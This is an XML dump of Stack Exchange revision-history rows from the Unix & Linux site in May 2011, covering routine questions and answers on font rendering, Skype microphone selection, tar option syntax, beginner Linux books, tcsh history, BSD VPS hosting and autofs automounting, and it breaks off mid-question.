  <row Id="33789" PostHistoryTypeId="4" PostId="13548" RevisionGUID="2cbca021-6fa7-42a1-9e68-587aa21a3ab9" CreationDate="2011-05-21T22:53:28.373" UserId="7638" Comment="edited title" Text="Why does 'apt-get install' suggest packages that I already have?" />
  <row Id="33790" PostHistoryTypeId="2" PostId="13567" RevisionGUID="b314563b-c42f-4d75-9196-c777f85f3fc5" CreationDate="2011-05-21T23:03:05.683" UserId="2754" Text="Lol...&#xD;&#xA;&#xD;&#xA;Sorry to laugh but, chances are you are using the wrong kind of CD. You need the alternate CD, and from what I understand in your question, it seems you are actually using the live CD.&#xD;&#xA;&#xD;&#xA;Get an alternate installer CD or download KDE from the repository." />
  <row Id="33791" PostHistoryTypeId="2" PostId="13568" RevisionGUID="41e64acc-a159-41f2-a219-2842dac715a9" CreationDate="2011-05-21T23:10:52.743" UserId="7660" Text="Newbie question here.  I am having difficulty using Kubuntu (or GNOME) for work because text readability is quite poor (read headache inducing) compared to Windows Vista/7 and OS X.   Any tips on how to improve font rendering or, more generally, readability would be greatly appreciated!!! (The NVIDIA provided driver for the FX 770M gpu is installed.  Also, unlikely to be a hardware issue as the machine is dual boot with Vista, which looks fine.)&#xD;&#xA;&#xD;&#xA;Many thanks in advance for your help. " />
  <row Id="33792" PostHistoryTypeId="1" PostId="13568" RevisionGUID="41e64acc-a159-41f2-a219-2842dac715a9" CreationDate="2011-05-21T23:10:52.743" UserId="7660" Text="Tips for improved font rendering and readability in Ubuntu with KDE" />
  <row Id="33793" PostHistoryTypeId="3" PostId="13568" RevisionGUID="41e64acc-a159-41f2-a219-2842dac715a9" CreationDate="2011-05-21T23:10:52.743" UserId="7660" Text="ékdeàéfontsà" />
  <row Id="33794" PostHistoryTypeId="5" PostId="13568" RevisionGUID="99a80652-fc81-4cd7-ba31-4467905e5e46" CreationDate="2011-05-21T23:24:47.333" UserId="688" Comment="deleted 68 characters in body" Text="I am having difficulty using Kubuntu (or GNOME) for work because text readability is quite poor (read headache inducing) compared to Windows Vista/7 and OS X. Any tips on how to improve font rendering or, more generally, readability would be greatly appreciated! (The NVIDIA provided driver for the FX 770M gpu is installed. Also, unlikely to be a hardware issue as the machine is dual boot with Vista, which looks fine.)&#xD;&#xA;" />
  <row Id="33795" PostHistoryTypeId="2" PostId="13569" RevisionGUID="5e8d1f0a-a83a-4215-8e24-96d6c3c01c7c" CreationDate="2011-05-21T23:35:20.497" UserId="2671" Text="This extremely subjective stuff.&#xD;&#xA;&#xD;&#xA;But as for the facts. The code hinting patent should have just expired recently, therefore regular packages should now contain proper font hinting. Now the problem is that not all fonts support font hinting (I have no idea whether this is the case of the Ubuntu system font). Try Dejavu fonts, they do support font hinting for some time.&#xD;&#xA;&#xD;&#xA;As for non-system fonts, try also tweaking the settings in KDE/Gnome. Both will allow you to select the style of font hinting (and font aliasing).&#xD;&#xA;&#xD;&#xA;This link shows some old for OpenSuSe, but it contains screenshots for both KDE and Gnome, and the settings haven't really changed: http://opensuse-community.org/SubpixelHinting" />
  <row Id="33796" PostHistoryTypeId="25" PostId="13568" RevisionGUID="cbce78c3-1b6e-4e19-8740-b693709d26a2" CreationDate="2011-05-22T00:12:31.353" Comment="http://twitter.com/#!/StackUnix/status/72092437769748480" />
  <row Id="33797" PostHistoryTypeId="2" PostId="13570" RevisionGUID="5c2c0a6d-640a-4732-913b-7236f2747f4a" CreationDate="2011-05-22T00:59:30.693" UserId="4193" Text="Ok, Skype yet again has issues with sound.  This time, it is unable to record audio.  The system is using PulseAudio and I am using a web cam as a microphone.  Actually, I tried another web cam and had both plugged in at one point.  lsusb shows the devices plugged in.  Skype only allows selecting pulseaudio as the input device, with no other choices.  Skype only seems to see the mic input on the analog sound card (which has no mic attached).  &#xD;&#xA;&#xD;&#xA;I have tried using KMix, the KDE phonon dialog (hidden in KMix's menus), alsamixer and even happened across pavucontrol.  None seemed to be able to reorder the preference for device to use as the mic or at least select the desired mic.  It could be a flaw in OpenSUSE 11.4, or I could just be missing something obvious.  All would show that the webcam mic was available and allow me to set the input levels, for either webcam.&#xD;&#xA;&#xD;&#xA;How do I select the webcam mic?&#xD;&#xA;&#xD;&#xA;" />
  <row Id="33798" PostHistoryTypeId="1" PostId="13570" RevisionGUID="5c2c0a6d-640a-4732-913b-7236f2747f4a" CreationDate="2011-05-22T00:59:30.693" UserId="4193" Text="Sound input issue with skype, selecting a microphone?" />
  <row Id="33799" PostHistoryTypeId="3" PostId="13570" RevisionGUID="5c2c0a6d-640a-4732-913b-7236f2747f4a" CreationDate="2011-05-22T00:59:30.693" UserId="4193" Text="élinuxàéaudioàépulseaudioà" />
  <row Id="33800" PostHistoryTypeId="2" PostId="13571" RevisionGUID="f94ee74c-855b-449b-830b-91286d20a978" CreationDate="2011-05-22T01:23:12.503" UserId="7505" Text="Try `pavucontrol`.&#xD;&#xA;&#xD;&#xA;More information here - https://help.ubuntu.com/community/SkypeTroubleshooting#Selecting%20Microphone%20%28input%20device%29&#xD;&#xA;&#xD;&#xA;    yum install pavucontrol&#xD;&#xA;&#xD;&#xA;You will have to select the right mic in the Recording tab of pavucontrol" />
  <row Id="33801" PostHistoryTypeId="2" PostId="13572" RevisionGUID="6fc0b9d9-3534-493a-890b-da0cca599f3a" CreationDate="2011-05-22T01:59:48.493" UserId="1627" Text="[Perhaps you are experiencing this][1].&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://superuser.com/questions/8824/bad-font-anti-aliasing-in-ubuntu" />
  <row Id="33802" PostHistoryTypeId="17" PostId="13574" RevisionGUID="dc9bc40c-2abb-4a86-9fa4-7e60421e1097" CreationDate="2011-05-22T02:06:26.653" UserId="-1" Comment="from http://stackoverflow.com/questions/6085068/why-use-superflous-dash-to-pass-option-flags-to-unix-program/6085079#6085079" Text="" />
  <row Id="33803" PostHistoryTypeId="17" PostId="13575" RevisionGUID="7d3e0dba-8505-4097-bee7-b766fd2a5ad2" CreationDate="2011-05-22T02:06:26.653" UserId="-1" Comment="from http://stackoverflow.com/questions/6085068/why-use-superflous-dash-to-pass-option-flags-to-unix-program/6085101#6085101" Text="" />
  <row Id="33804" PostHistoryTypeId="17" PostId="13576" RevisionGUID="ffb4c0d6-cef5-4c21-9681-6743c6c2dff7" CreationDate="2011-05-22T02:06:26.653" UserId="-1" Comment="from http://stackoverflow.com/questions/6085068/why-use-superflous-dash-to-pass-option-flags-to-unix-program/6085122#6085122" Text="" />
  <row Id="33805" PostHistoryTypeId="2" PostId="13574" RevisionGUID="d6c61eff-aa94-462b-914f-5bb94f0a7ef6" CreationDate="2011-05-21T23:29:09.750" UserDisplayName="Darin Dimitrov" Text="The dash is used in order to disambiguate between an option parameter names and values. I guess it's more of a standard convention." />
  <row Id="33806" PostHistoryTypeId="2" PostId="13575" RevisionGUID="d0f11967-8c7d-416a-8981-04c40b3ae7e2" CreationDate="2011-05-21T23:36:42.197" UserDisplayName="Paul Tomblin" Text="You can give tar options in the standard unix manner `tar -c -f foo -v -B file1 file2 file3` where you need the dash to differentiate between options and parameters or the file names at the end of the command line.  Or you can put all the options together in the first argument, in which case the dash is optional.&#xD;&#xA;&#xD;&#xA;Then there is `ps`, where you use the dashes if you're using the SysV-ish options, and leave them out if you're using BSD-ish options, just to make things more confusing.&#xD;&#xA;&#xD;&#xA;And lets not even talk about `find`." />
  <row Id="33807" PostHistoryTypeId="2" PostId="13576" RevisionGUID="c3a3cc8b-a566-4260-9e46-dfeffced5db9" CreationDate="2011-05-21T23:40:39.117" UserId="4482" Text="There are several different patterns for options that have been used historically in UNIX applications.  Several old ones, like *tar*, use a positional scheme:&#xD;&#xA;&#xD;&#xA;&gt; *command options arguments*&#xD;&#xA;&#xD;&#xA;as for example tar uses&#xD;&#xA;&#xD;&#xA;&gt; tar *something*f *&quot;file operated on&quot;* *&quot;paths of files to manipulate&quot;*&#xD;&#xA;&#xD;&#xA;In a first attempt to avoid the confusion, *tar* and a few other programs with the old flags-arguments style allowed delimiting the flags with dashes, but most of us old guys simply ignored that.&#xD;&#xA;&#xD;&#xA;Some other commands have a more complicated command line syntax, like *dd(1)* which uses flags, equal signs, pathnames, arguments and a partridge in a pear tree, all with wild abandon.&#xD;&#xA;&#xD;&#xA;In BSD and later versions of unix, this had more or less converged to single-character flags marked with '-', but this began to present a couple of problems:&#xD;&#xA;&#xD;&#xA;- the flags could be hard to remember&#xD;&#xA;- sometimes you actually wanted to use a name with '-'&#xD;&#xA;- and especially with GNU tools, there began to be limitations imposed by the number of possible flags.  So GNU tools added GNU long options like `--output`.&#xD;&#xA;&#xD;&#xA;Then Sun decided that the extra '-' was redundant and started using long-style flags with single '-'s.&#xD;&#xA;&#xD;&#xA;And that's how it came to be the mess it is now." />
  <row Id="33808" PostHistoryTypeId="2" PostId="13573" RevisionGUID="1d0d7507-79d4-42dc-8a6b-250d7e0794e0" CreationDate="2011-05-21T23:26:54.893" UserDisplayName="Milktrader" Text="To create a tar file for a directory, the `tar` command with `compress`, `verbose` and `file` options can be typed thus:&#xD;&#xA;&#xD;&#xA;    $ tar -cvf my.tar my_directory/&#xD;&#xA;&#xD;&#xA;But it also works to do it this way:&#xD;&#xA; &#xD;&#xA;     $ tar cvf my.tar my_directory/&#xD;&#xA;&#xD;&#xA;That is, without the dash (-) preceding the options. Why would you ever pass a dash (-) to the option list?&#xD;&#xA;    " />
  <row Id="33809" PostHistoryTypeId="1" PostId="13573" RevisionGUID="1d0d7507-79d4-42dc-8a6b-250d7e0794e0" CreationDate="2011-05-21T23:26:54.893" UserDisplayName="Milktrader" Text="Why use superflous dash (-) to pass option flags to Unix program?" />
  <row Id="33810" PostHistoryTypeId="3" PostId="13573" RevisionGUID="1d0d7507-79d4-42dc-8a6b-250d7e0794e0" CreationDate="2011-05-21T23:26:54.893" UserDisplayName="Milktrader" Text="étarà" />
  <row Id="33811" PostHistoryTypeId="17" PostId="13573" RevisionGUID="49c1778a-6090-4c58-9138-9365287e3ef2" CreationDate="2011-05-22T02:06:26.653" UserId="-1" Comment="from http://stackoverflow.com/questions/6085068/why-use-superflous-dash-to-pass-option-flags-to-unix-program" Text="" />
  <row Id="33812" PostHistoryTypeId="2" PostId="13577" RevisionGUID="f8396c4e-e38e-4c75-87a7-ef6517338381" CreationDate="2011-05-22T02:40:41.377" UserId="7638" Text="I have been using Linux for years and have never really felt 100% confident with it. &#xD;&#xA;&#xD;&#xA;I have bought a couple of 'Linux' books and, each time, I am disappointed to read that they are aimed at more advanced users.&#xD;&#xA;&#xD;&#xA;I was about to buy '[Linux Administration: A Beginner's Guide][1]' and, yet again, its introductory page says:&#xD;&#xA;&#xD;&#xA;&gt; A part of the title of this book reads&#xD;&#xA;&gt; &quot;A beginners Guide&quot;; this is mostly&#xD;&#xA;&gt; apt. But what the title should say is&#xD;&#xA;&gt; &quot;A Beginner's to Linux Administration&#xD;&#xA;&gt; Guide&quot;...we assume that you are&#xD;&#xA;&gt; already familiar with Microsoft&#xD;&#xA;&gt; Windows servers at a power user level&#xD;&#xA;&gt; or better.&#xD;&#xA;&#xD;&#xA;In the preamble to [Linux administration handbook][2] it says&#xD;&#xA;&#xD;&#xA;&gt; We assume in this book that you have a&#xD;&#xA;&gt; certain amount of Linux or Unix&#xD;&#xA;&gt; experience...&#xD;&#xA;&gt; Although a variety of introductory&#xD;&#xA;&gt; Linux books are on the market, we have&#xD;&#xA;&gt; not yet found one that we could could&#xD;&#xA;&gt; recommend without reservation. In&#xD;&#xA;&gt; general you're better off looking for&#xD;&#xA;&gt; the Unix classics.&#xD;&#xA;&#xD;&#xA;So, I am really struggling to find a book that is going to give me the introductory knowledge that is needed to fill in the basics before I go on to read the 'Beginning Linux books'. Perhaps one of the *Unix Classics*, (whatever that might be).&#xD;&#xA; &#xD;&#xA;I am not so interested in becoming a *system administrator*, more of a *lead web developer*&#xD;&#xA;&#xD;&#xA;So, &#xD;&#xA;&#xD;&#xA;**Which book would you recommend to gain enough foundation to learn Linux well enough to be a lead developer?**&#xD;&#xA;&#xD;&#xA;To make this question as objective as possible, in order to be a valid answer:&#xD;&#xA;&#xD;&#xA;- it must be *a book* &#xD;&#xA;- the introduction to the book should not say &quot;we assume the reader is already a power user / experienced in linux / sys admin&quot; &#xD;&#xA;- by reading the book I'd be able to be suitably qualified to read &quot;Linux Administration: A Beginner's Guide&quot;&#xD;&#xA;- it should not be any of the following books that I have already read:&#xD;&#xA; - *Code* By Charles Petzold&#xD;&#xA; - *Code Complete* By Charles M. Kozierok&#xD;&#xA;- it should not be any of the following books, which I own and that are aimed at 'advanced users':&#xD;&#xA; - Fedora Linux, Tyler&#xD;&#xA; - Linux in a Nutshell, &#xD;&#xA; - Beginning Ubuntu LTS Server Administration, Sander van Vugt&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;One book per answer please.&#xD;&#xA;  &#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.amazon.co.uk/Linux-Administration-Beginners-Guide-Fifth/dp/0071545883&#xD;&#xA;  [2]: http://books.google.com/books?id=GB_O89fnz_sC&amp;lpg=PP1&amp;pg=PA19#v=onepage&amp;q&amp;f=false" />
  <row Id="33813" PostHistoryTypeId="1" PostId="13577" RevisionGUID="f8396c4e-e38e-4c75-87a7-ef6517338381" CreationDate="2011-05-22T02:40:41.377" UserId="7638" Text="Which book would you recommend to gain enough foundation to learn Linux well enough to be a lead developer?" />
  <row Id="33814" PostHistoryTypeId="3" PostId="13577" RevisionGUID="f8396c4e-e38e-4c75-87a7-ef6517338381" CreationDate="2011-05-22T02:40:41.377" UserId="7638" Text="ébooksà" />
  <row Id="33815" PostHistoryTypeId="5" PostId="13577" RevisionGUID="a7b63f04-28c6-403c-becc-2e73e850aafc" CreationDate="2011-05-22T02:47:09.373" UserId="7638" Comment="added 39 characters in body" Text="I have been using Linux for years and have never really felt 100% confident with it. &#xD;&#xA;&#xD;&#xA;I have bought a couple of 'Linux' books and, each time, I am disappointed to read that they are aimed at more advanced users.&#xD;&#xA;&#xD;&#xA;I was about to buy '[Linux Administration: A Beginner's Guide][1]' and, yet again, its introductory page says:&#xD;&#xA;&#xD;&#xA;&gt; A part of the title of this book reads&#xD;&#xA;&gt; &quot;A beginners Guide&quot;; this is mostly&#xD;&#xA;&gt; apt. But what the title should say is&#xD;&#xA;&gt; &quot;A Beginner's to Linux Administration&#xD;&#xA;&gt; Guide&quot;...we assume that you are&#xD;&#xA;&gt; already familiar with Microsoft&#xD;&#xA;&gt; Windows servers at a power user level&#xD;&#xA;&gt; or better.&#xD;&#xA;&#xD;&#xA;In the preamble to [Linux administration handbook][2] it says&#xD;&#xA;&#xD;&#xA;&gt; We assume in this book that you have a&#xD;&#xA;&gt; certain amount of Linux or Unix&#xD;&#xA;&gt; experience...&#xD;&#xA;&gt; Although a variety of introductory&#xD;&#xA;&gt; Linux books are on the market, we have&#xD;&#xA;&gt; not yet found one that we could could&#xD;&#xA;&gt; recommend without reservation. In&#xD;&#xA;&gt; general you're better off looking for&#xD;&#xA;&gt; the Unix classics.&#xD;&#xA;&#xD;&#xA;So, I am really struggling to find a book that is going to give me the introductory knowledge that is needed to fill in the basics before I go on to read the 'Beginning Linux books'. Perhaps one of the *Unix Classics*, (whatever that might be).&#xD;&#xA; &#xD;&#xA;I am not so interested in becoming a *system administrator*, more of a *lead web developer*&#xD;&#xA;&#xD;&#xA;So, &#xD;&#xA;&#xD;&#xA;**Which book would you recommend to gain enough foundation to learn Linux well enough to be a lead developer?**&#xD;&#xA;&#xD;&#xA;To make this question as objective as possible, in order to be a valid answer:&#xD;&#xA;&#xD;&#xA;- it must be *a book* &#xD;&#xA;- the introduction to the book should not say &quot;we assume the reader is already a power user / experienced in linux / sys admin&quot; &#xD;&#xA;- by reading the book I'd be able to be suitably qualified to read &quot;Linux Administration: A Beginner's Guide&quot;&#xD;&#xA;- it should not be any of the following books that I have already read:&#xD;&#xA; - *Code* By Charles Petzold&#xD;&#xA; - *Code Complete* By Steve McConnel&#xD;&#xA; - *TCP / IP Guide* By Charles M. Kozierok&#xD;&#xA;- it should not be any of the following books, which I own and that are aimed at 'advanced users':&#xD;&#xA; - Fedora Linux, Tyler&#xD;&#xA; - Linux in a Nutshell, &#xD;&#xA; - Beginning Ubuntu LTS Server Administration, Sander van Vugt&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;One book per answer please.&#xD;&#xA;  &#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.amazon.co.uk/Linux-Administration-Beginners-Guide-Fifth/dp/0071545883&#xD;&#xA;  [2]: http://books.google.com/books?id=GB_O89fnz_sC&amp;lpg=PP1&amp;pg=PA19#v=onepage&amp;q&amp;f=false" />
  <row Id="33816" PostHistoryTypeId="5" PostId="13577" RevisionGUID="c2a415c1-d555-4234-b708-f159bd797686" CreationDate="2011-05-22T02:59:42.187" UserId="7638" Comment="added 7 characters in body; deleted 5 characters in body" Text="I have been using Linux for years and have never really felt 100% confident with it. &#xD;&#xA;&#xD;&#xA;I have bought a couple of 'Linux' books and, each time, I am disappointed to read that they are aimed at more advanced users.&#xD;&#xA;&#xD;&#xA;I was about to buy '[Linux Administration: A Beginner's Guide][1]' and, yet again, its introductory page says:&#xD;&#xA;&#xD;&#xA;&gt; A part of the title of this book reads&#xD;&#xA;&gt; &quot;A beginners Guide&quot;; this is mostly&#xD;&#xA;&gt; apt. But what the title should say is&#xD;&#xA;&gt; &quot;A Beginner's to Linux Administration&#xD;&#xA;&gt; Guide&quot;...we assume that you are&#xD;&#xA;&gt; already familiar with Microsoft&#xD;&#xA;&gt; Windows servers at a power user level&#xD;&#xA;&gt; or better.&#xD;&#xA;&#xD;&#xA;In the preamble to [Linux administration handbook (2007)][2] it says&#xD;&#xA;&#xD;&#xA;&gt; We assume in this book that you have a&#xD;&#xA;&gt; certain amount of Linux or Unix&#xD;&#xA;&gt; experience...&#xD;&#xA;&gt; Although a variety of introductory&#xD;&#xA;&gt; Linux books are on the market, we have&#xD;&#xA;&gt; not yet found one that we could could&#xD;&#xA;&gt; recommend without reservation. In&#xD;&#xA;&gt; general you're better off looking for&#xD;&#xA;&gt; the Unix classics.&#xD;&#xA;&#xD;&#xA;So, I am really struggling to find a book that is going to give me the introductory knowledge that is needed to fill in the basics before I go on to read the 'Beginning Linux books'. Perhaps one of the *Unix Classics*, (whatever that might be).&#xD;&#xA; &#xD;&#xA;I am not so interested in becoming a *system administrator*, more of a *lead web developer*&#xD;&#xA;&#xD;&#xA;So, &#xD;&#xA;&#xD;&#xA;**Which book would you recommend to gain enough foundation to learn Linux well enough to be a lead developer?**&#xD;&#xA;&#xD;&#xA;To make this question as objective as possible, in order to be a valid answer:&#xD;&#xA;&#xD;&#xA;- it must be *a book* &#xD;&#xA;- the introduction to the book should not say &quot;we assume the reader is already a power user / experienced in linux / sys admin&quot; &#xD;&#xA;- by reading the book I'd be able to be suitably qualified to read &quot;Linux Administration: A Beginner's Guide&quot;&#xD;&#xA;- it should not be any of the following books that I have already read:&#xD;&#xA; - *Code* By Charles Petzold&#xD;&#xA; - *Code Complete* By Steve McConnel&#xD;&#xA; - *TCP / IP Guide* By Charles M. Kozierok&#xD;&#xA;- it should not be any of the following books, which I own but are aimed at 'advanced users':&#xD;&#xA; - Fedora Linux, Tyler&#xD;&#xA; - Linux in a Nutshell, &#xD;&#xA; - Beginning Ubuntu LTS Server Administration, Sander van Vugt&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;One book per answer please.&#xD;&#xA;  &#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.amazon.co.uk/Linux-Administration-Beginners-Guide-Fifth/dp/0071545883&#xD;&#xA;  [2]: http://books.google.com/books?id=GB_O89fnz_sC&amp;lpg=PP1&amp;pg=PA19#v=onepage&amp;q&amp;f=false" />
  <row Id="33817" PostHistoryTypeId="10" PostId="13487" RevisionGUID="5e79dd07-667f-4bfd-97b8-3c4ad7c98f27" CreationDate="2011-05-22T03:08:43.620" UserId="73" CloseReasonId="4" Text="[{&quot;Id&quot;:885,&quot;DisplayName&quot;:&quot;Gilles&quot;},{&quot;Id&quot;:73,&quot;DisplayName&quot;:&quot;Michael Mrozek&quot;}]" />
  <row Id="33818" PostHistoryTypeId="10" PostId="13537" RevisionGUID="18bf6c94-29d5-4a44-8542-4b9a698b1053" CreationDate="2011-05-22T03:09:51.747" UserId="73" CloseReasonId="2" Text="[{&quot;Id&quot;:885,&quot;DisplayName&quot;:&quot;Gilles&quot;},{&quot;Id&quot;:73,&quot;DisplayName&quot;:&quot;Michael Mrozek&quot;}]" />
  <row Id="33819" PostHistoryTypeId="25" PostId="13573" RevisionGUID="cac638a6-fe90-49e1-8644-fde31f03c0d2" CreationDate="2011-05-22T03:12:32.660" Comment="http://twitter.com/#!/StackUnix/status/72137741831376898" />
  <row Id="33820" PostHistoryTypeId="2" PostId="13578" RevisionGUID="ca84494c-64ed-48d4-b8a8-05e8417eb98b" CreationDate="2011-05-22T04:13:20.973" UserId="3082" Text="You're funny.  I recommend &quot;The Unix Programming Environment&quot; by Kernighan and Pike." />
  <row Id="33821" PostHistoryTypeId="2" PostId="13579" RevisionGUID="62e1da4a-fee4-471f-abd5-c62658b5b6f6" CreationDate="2011-05-22T06:02:17.533" UserId="29" Text="Perhaps [Running Linux](http://www.amazon.com/Running-Linux-Matthias-Kalle-Dalheimer/dp/0596007604/ref=sr_1_1?ie=UTF8&amp;qid=1306043832&amp;sr=8-1) would be a good book for you to begin with before you read your system administration book. I think it covers a little bit of everything. Admittedly I have not read it. Also the chapter on Gnome and KDE is certainly out of date. Though anything that a webdeveloper should need won't really be.&#xD;&#xA;&#xD;&#xA;FYI, I have never read this book, I was an advanced user before I found this book. I learned by DIY." />
  <row Id="33822" PostHistoryTypeId="2" PostId="13580" RevisionGUID="fe37bbd2-1233-46fa-bb19-9c0506c652ec" CreationDate="2011-05-22T06:10:02.103" UserId="29" Text="[Running Linux](http://www.amazon.com/Running-Linux-Matthias-Kalle-Dalheimer/dp/0596007604/ref=sr_1_1?ie=UTF8&amp;qid=1306043832&amp;sr=8-1) Should be a good book for novices. I think it covers a little bit of everything. The chapter on Gnome and KDE is certainly out of date. But still, this book should be a good general guide to Linux.&#xD;&#xA;&#xD;&#xA;FYI, I have never read this book, I was an advanced user before I found this book. I learned by DIY." />
  <row Id="33823" PostHistoryTypeId="5" PostId="3294" RevisionGUID="4fbbf2ae-d160-4156-989f-d5381f98e5b0" CreationDate="2011-05-22T06:11:50.587" UserId="29" Comment="make generic" Text="Are there any good tutorials or resources I can read so that I am not confused by basic things like 'how to search all files in a directory and below for a given string', or 'how to find out how much memory is allocated to php'&#xD;&#xA;&#xD;&#xA;Basically what should I know for daily interaction with a Linux system and what are good resources to learn it.&#xD;&#xA;&#xD;&#xA;*( I'd like this to be kind of a faq for good introductory resources to Linux as an OS, so server tips are good, but it shouldn't have to be server only. Online, dead tree, and other suggestions welcome )*" />
  <row Id="33824" PostHistoryTypeId="25" PostId="13554" RevisionGUID="42e2b68c-2bc7-4b06-9df3-d0e3247dd3ab" CreationDate="2011-05-22T06:12:33.370" Comment="http://twitter.com/#!/StackUnix/status/72183043242201088" />
  <row Id="33825" PostHistoryTypeId="6" PostId="3294" RevisionGUID="c6afb444-2cec-4a46-a27e-a5b389901cc5" CreationDate="2011-05-22T06:18:47.417" UserId="29" Comment="add books tag" Text="élinuxàéserveràédesktopàébooksà" />
  <row Id="33826" PostHistoryTypeId="17" PostId="13582" RevisionGUID="ac0d4f47-f9af-4ccf-b7ab-5fb22d30deca" CreationDate="2011-05-22T06:52:34.763" UserId="-1" Comment="from http://superuser.com/questions/286938/how-to-exclude-some-commands-from-being-stored-in-tcsh-history/286939#286939" Text="" />
  <row Id="33827" PostHistoryTypeId="2" PostId="13582" RevisionGUID="433cc95f-5a88-447a-8d27-b1c013bfe546" CreationDate="2011-05-22T04:59:30.857" UserDisplayName="tofutim" Text="There is a fancy answer to this, which could involve programmatically filtering the history right before quitting each terminal.  But instead of doing that, increase the size of the history.  In your shell start-up script, write 'set history=XXX' and 'set savehist=YYY' where YYY &lt;= XXX.  'history' is the number of commands saved within a session, savehist across all sessions (saved when you close the terminal).  See http://unixhelp.ed.ac.uk/shell/tcsh_hist1.html and http://unixhelp.ed.ac.uk/shell/tcsh_hist2.html.&#xD;&#xA;&#xD;&#xA;If you want to edit the defaults for the entire machine, you can try looking for tsch.defaults, e.g., /usr/share/init/tcsh/tcsh.defaults.  It will look something like this:&#xD;&#xA;&#xD;&#xA;    # History&#xD;&#xA;    set history = XXX&#xD;&#xA;    set savehist = YYY&#xD;&#xA;    set histfile = ~/.tcsh_history # History file&#xD;&#xA;" />
  <row Id="33828" PostHistoryTypeId="2" PostId="13581" RevisionGUID="d6f01b87-f6fa-48c3-94ed-10fc7ebac38e" CreationDate="2011-05-22T04:41:10.070" UserId="5363" Text="I store my commandline history in TCSH, but I want to prevent certain frequent, simple commands like &quot;exit&quot;, &quot;cd&quot; to be included in the history (the history holds only a fixed number of commands, so I want to retain only the useful commands).&#xD;&#xA;&#xD;&#xA;Is there a way to specify an &quot;exclusion list&quot; - a list that will contain commands that would not be added in the current history file ? That way, I can keep only the most relevant commands in history and filter out the ones I don't want to clog the history.&#xD;&#xA;" />
  <row Id="33829" PostHistoryTypeId="1" PostId="13581" RevisionGUID="d6f01b87-f6fa-48c3-94ed-10fc7ebac38e" CreationDate="2011-05-22T04:41:10.070" UserId="5363" Text="How to exclude some commands from being stored in TCSH history ?" />
  <row Id="33830" PostHistoryTypeId="3" PostId="13581" RevisionGUID="d6f01b87-f6fa-48c3-94ed-10fc7ebac38e" CreationDate="2011-05-22T04:41:10.070" UserId="5363" Text="élinuxàéhistoryàétcshà" />
  <row Id="33831" PostHistoryTypeId="17" PostId="13581" RevisionGUID="0df5df00-f109-4c4e-b941-4390d67c8a28" CreationDate="2011-05-22T06:52:34.763" UserId="-1" Comment="from http://superuser.com/questions/286938/how-to-exclude-some-commands-from-being-stored-in-tcsh-history" Text="" />
  <row Id="33832" PostHistoryTypeId="2" PostId="13583" RevisionGUID="084a81ea-e745-4d75-b5bb-34ca3ea2b4aa" CreationDate="2011-05-22T08:19:56.530" UserId="6761" Text="If you mean something like the variables in bash, `HISTCONTROL` and `HISTIGNORE`, where &#xD;&#xA;&#xD;&#xA;`HISTCONTROL=ignorespace` does not load into your history any command preceded by a space and &#xD;&#xA;&#xD;&#xA;`HISTIGNORE=ls:cd:exit` prevents all the listed commands being added to your history, then no - that functionality is not natively in tcsh." />
  <row Id="33833" PostHistoryTypeId="2" PostId="13584" RevisionGUID="5649f8c6-c998-4dd4-b19e-623efdafda4c" CreationDate="2011-05-22T08:24:00.710" UserId="7665" Text="I know of a couple of VPS providers that support BSD distros (rootbsd and prgmr), but I'm wondering if anyone has any other solutions they'd recommend? Moreover, I'm very curious why BSD support in the VPS world has been lagging behind Linux. I know the supply/demand may be different for each, but is there a technical reason that it's slow to adoption? " />
  <row Id="33834" PostHistoryTypeId="1" PostId="13584" RevisionGUID="5649f8c6-c998-4dd4-b19e-623efdafda4c" CreationDate="2011-05-22T08:24:00.710" UserId="7665" Text="BSD Virtual Private Servers" />
  <row Id="33835" PostHistoryTypeId="3" PostId="13584" RevisionGUID="5649f8c6-c998-4dd4-b19e-623efdafda4c" CreationDate="2011-05-22T08:24:00.710" UserId="7665" Text="éserveràébsdà" />
  <row Id="33836" PostHistoryTypeId="5" PostId="1618" RevisionGUID="1afcbc11-3c1a-4244-9220-6270a976ff93" CreationDate="2011-05-22T09:04:50.117" UserId="688" Comment="added 35 characters in body" Text="It depends. If you have a small amount of memory, the use of modules may improve the resume as they are not reloaded every time (I found it significant on 2 GiB of RAM but not on 4 GiB on traditional harddrives). This is especially true when due to some bug in the battery module (regardless of being compiled-in or as module), it took very long to start (several minutes).&#xD;&#xA;&#xD;&#xA;Also, when you don't know what hardware are you going to use, modules are clearly beneficial.&#xD;&#xA;&#xD;&#xA;PS. You can compile even vital drivers as modules as long as you include them in initrd. For example, distros will include the filesystem of /, drivers of harddrive etc. in initrd on installation." />
  <row Id="33837" PostHistoryTypeId="25" PostId="13584" RevisionGUID="e7283855-ba1c-48bb-aaae-5929ef2bf045" CreationDate="2011-05-22T09:12:32.787" Comment="http://twitter.com/#!/StackUnix/status/72228339221397504" />
  <row Id="33838" PostHistoryTypeId="5" PostId="13455" RevisionGUID="8327ca27-709e-4c38-997e-3abbe8d625a4" CreationDate="2011-05-22T09:21:57.523" UserId="2847" Comment="notify-send idea" Text="Continuing on http://unix.stackexchange.com/questions/4177/automounting-plugged-devices-in-linux, which left things a bit basic. Running Gentoo, I'm automounting a combination of local and network devices on my laptop with autofs-5.0.4-r5. Doing autofs alone gives me a couple of gripes: &#xD;&#xA;&#xD;&#xA; * I have to predefine names for mountpoints per device, but occasionally after rebooting my MMC card reader switches positions with my bootable USB stick&#xD;&#xA; * I'd like automatic LABEL based mountpoints to appear, autofs alone AFAIK can't do that&#xD;&#xA;&#xD;&#xA;Which is what udev and udisks are certainly capable of doing. But:&#xD;&#xA;&#xD;&#xA; * I don't want the filesystem to be mounted automatically when plugging the device, just give me the ghost mount point named LABEL&#xD;&#xA;&#xD;&#xA;Actual filesystem mounting should only occur on first access to the mountpoint, just like autofs ghosting works. This should lower the risk of dirtying filesystems by accidentally unplugging devices, while still providing great accessibility.&#xD;&#xA;&#xD;&#xA;On top of this I could use knowing at all times what's going on, in my DE.&#xD;&#xA;&#xD;&#xA; * Is there a system tray app that is capable of indicating status of all automounts i.e. green = nothing is mounted, red = something is mounted?&#xD;&#xA; * Is there a distribution-agnostic way to provide filesystem (un)mount operation notifications, for example using notify-send? What about 